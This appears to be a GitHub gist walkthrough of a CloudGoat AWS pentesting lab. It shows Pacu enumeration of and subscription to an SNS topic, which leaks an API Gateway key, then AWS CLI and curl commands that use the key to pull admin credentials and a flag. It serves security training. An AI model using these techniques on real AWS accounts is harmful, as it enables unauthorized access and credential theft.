Skip to content

Instantly share code, notes, and snippets.

@jkramarz
Created May 19, 2025 18:14
Show Gist options
  • Save jkramarz/7491b2974b626d5dbc1b4492192ab8a2 to your computer and use it in GitHub Desktop.
Save jkramarz/7491b2974b626d5dbc1b4492192ab8a2 to your computer and use it in GitHub Desktop.

SNS Secrets Walkthrough

Summary

This is a walkthrough of Capstone Challenge #2: SNS Secrets from Introduction to AWS Pentesting by Tyler Ramsbey. It is based on cloudgoat sns_secrets scenario. You're provided with access to low-privileged user with some SNS privileges.

Exploitation

Initial access and receiving SNS message

The initial user has access to SNS (can list and subscribe to topics) and retrieve some information about apigateways.

Running sns__enum pacu module reveals one configured SNS topic:

Pacu (sns_initial:imported-sns_initial) > data sns
{
  "sns": {
    "us-east-1": {
      "arn:aws:sns:us-east-1:.:public-topic-cgid77i67yvgfx": {
        "DisplayName": "",
        "Owner": ".",
        "Subscribers": [],
        "SubscriptionsConfirmed": "0",
        "SubscriptionsPending": "0"
      }
    }
  }
}

By using sns__subscribe module and subscribing to this topic, you can receive a cryptic message:

DEBUG: API GATEWAY KEY 45a3da610dc64703b10e273a4db135bf

Continuing on apigateway

So we've an API key, but where's the API?

By utilizing our permissions you can see following API Gateway:

└─$ aws apigateway get-rest-apis 
{
    "items": [
        {
            "id": "szk8n41ih5",
            "name": "cg-api-cgid77i67yvgfx",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2025-05-19T13:43:19-04:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "wtg2v5f827"
        }
    ]
}

According to how-to-call-api docs, we need:

  • api-id
  • region
  • stage
  • resource

Let's get the remaining details:

└─$ aws apigateway get-stages --rest-api-id szk8n41ih5
{
    "item": [
        {
            "deploymentId": "bvo8cb",
            "stageName": "prod-cgid77i67yvgfx",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "variables": {},
            "tracingEnabled": false,
            "createdDate": "2025-05-19T13:43:21-04:00",
            "lastUpdatedDate": "2025-05-19T13:43:21-04:00"
        }
    ]
}

and

└─$ aws apigateway get-resources --rest-api-id szk8n41ih5
{
    "items": [
        {
            "id": "ispf80",
            "parentId": "wtg2v5f827",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "wtg2v5f827",
            "path": "/"
        }
    ]
}
       

This forms following command:

─$ curl https://szk8n41ih5.execute-api.us-east-1.amazonaws.com/prod-cgid77i67yvgfx/user-data

As it returns 403 upon calling, we need to supplement it also with the API key revealed earlier. After checking the correct header name in api-gateway-api-key-call, we will have:

└─$ curl -H "X-API-Key: 45a3da610dc64703b10e273a4db135bf" https://szk8n41ih5.execute-api.us-east-1.amazonaws.com/prod-cgid77i67yvgfx/user-data                          

Response body reveals admin account crecentials and the final flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment